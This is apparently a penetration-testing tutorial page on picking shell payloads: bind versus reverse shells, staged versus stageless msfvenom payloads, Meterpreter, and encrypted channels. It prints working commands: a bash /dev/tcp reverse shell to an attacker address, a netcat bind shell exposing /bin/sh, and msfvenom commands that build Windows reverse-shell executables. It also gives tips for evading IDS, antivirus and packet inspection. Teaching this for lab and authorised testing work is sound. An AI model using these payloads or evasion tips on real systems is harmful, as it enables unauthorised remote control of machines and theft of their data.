Before you pick a payload, decide how the shell will reach you. Two choices drive everything else: who initiates the connection (bind vs reverse), and whether the payload ships in one piece or in two (stageless vs staged).
Bind vs Reverse
Reverse Shell
The target connects out to you. You run a listener; the payload dials home.
# attacker listener
nc -lvnp 4444
# target payload
bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1'Use this when the target is behind a firewall or NAT that blocks inbound traffic but allows outbound — which is almost always the case.
Bind Shell
The target listens on a port; you connect in.
# target
nc -lvnp 4444 -e /bin/sh
# attacker
nc <target-ip> 4444Use this when:
- Your attacker IP is unreachable from the target (e.g., both sides behind NAT, or you can’t open a listener)
- You’re working against an internal pivot and the compromised host can’t reach you directly
- Egress firewall drops everything outbound but allows inbound to a specific port
Bind shells die first
Any half-decent IDS flags a service listening on a random high port. Reverse shells blend into normal outbound traffic.
TCP vs UDP
TCP is the default — reliable, ordered, and every tool supports it. UDP is rare but useful when TCP is filtered and the firewall is sloppy about UDP egress (DNS tunneling territory).
# TCP
nc -lvnp 4444
# UDP
nc -lvnp 4444 -uICMP-based shells (icmpsh, ptunnel) exist for the same reason — abuse whatever the firewall didn’t lock down.
Staged vs Stageless Payloads
This is Metasploit terminology but the concept is universal.
Stageless
One self-contained blob. The payload has everything it needs — the socket code, the shell logic, all of it. Larger file, simpler delivery.
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f exe -o shell.exeMetasploit naming: underscore separates payload and connection type → shell_reverse_tcp.
Staged
A tiny stager fires first. It opens a socket, pulls the rest of the payload from your handler over the wire, and executes it in memory. Smaller initial payload, needs a handler that speaks the right staging protocol.
msfvenom -p windows/x64/shell/reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f exe -o stager.exeMetasploit naming: slash separates stager and stage → shell/reverse_tcp.
When to use which
Use stageless when size doesn’t matter and you can’t trust the second stage to download reliably. Use staged when you’re squeezing into a small buffer overflow slot or a URL parameter.
Meterpreter vs Plain Shell
Meterpreter is a feature-rich payload — file transfer, process migration, token manipulation, screenshot, hashdump, pivoting. A plain shell is just stdin/stdout piped over a socket.
| Use Plain Shell When | Use Meterpreter When |
|---|---|
| AV eats Metasploit payloads | You need post-ex features |
| You just need to drop a webshell | You want to pivot through the host |
| The target is minimal (busybox, embedded) | You’re on Windows and want Mimikatz, screenshots, etc. |
You’ll upgrade later via sessions -u | You want session management across many hosts |
Encryption
Vanilla netcat and shell_reverse_tcp are cleartext. Deep packet inspection will see your commands in transit. On a real engagement prefer:
meterpreter/reverse_https— looks like HTTPSsocatwith OPENSSL endpoints- SSH-based reverse tunnels once you have credentials
Plaintext shells are fine in labs. Expect them to light up IDS on a production network.
